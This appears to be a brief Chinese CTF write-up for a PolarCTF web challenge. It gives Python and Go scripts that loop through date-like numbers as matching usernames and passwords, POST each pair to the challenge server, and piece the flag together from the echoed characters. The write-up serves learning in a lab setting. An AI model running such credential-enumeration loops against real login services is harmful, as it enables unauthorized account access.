本文旨在记录此题的探索和解决过程。
username和password同时递增也会登录成功,并回显一些字符。经过拼凑发现,结果即为目标flag。具体情况可参考下图:


import requests
if __name__ == '__main__':
for i in range(20200102, 20200120):
# 此题不一定需要
headers = {
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
}
# 构造用户名和密码
data = {
"username": f"{i}",
"password": f"{i}",
}
# 发出POST请求
res = requests.post('http://~.www.polarctf.com:8090/',
data=data, headers=headers)
out = str(res.content.decode('utf8'))
# # 确认目标字符的下标
# print(out.rindex('f') - len(out))
# 每次输出目标字符
print(out[-5], end='')
package main
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strconv"
)
func main() {
for i := 20200102; i <= 20200111; i ++ {
urlV := url.Values{}
urlV.Add("username", strconv.Itoa(i))
urlV.Add("password", strconv.Itoa(i))
resp, err := http.PostForm(
"http://~.www.polarctf.com:8090/",
urlV,
)
if err != nil {
_ = fmt.Errorf("%v", "POST ERR")
}
// 读取响应体
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
_ = fmt.Errorf("读取响应体失败: %v", err)
}
out := string(body)
//fmt.Println(strings.LastIndex(out, "f")) // 504
fmt.Print(string(out[504]))
}
fmt.Println()
}
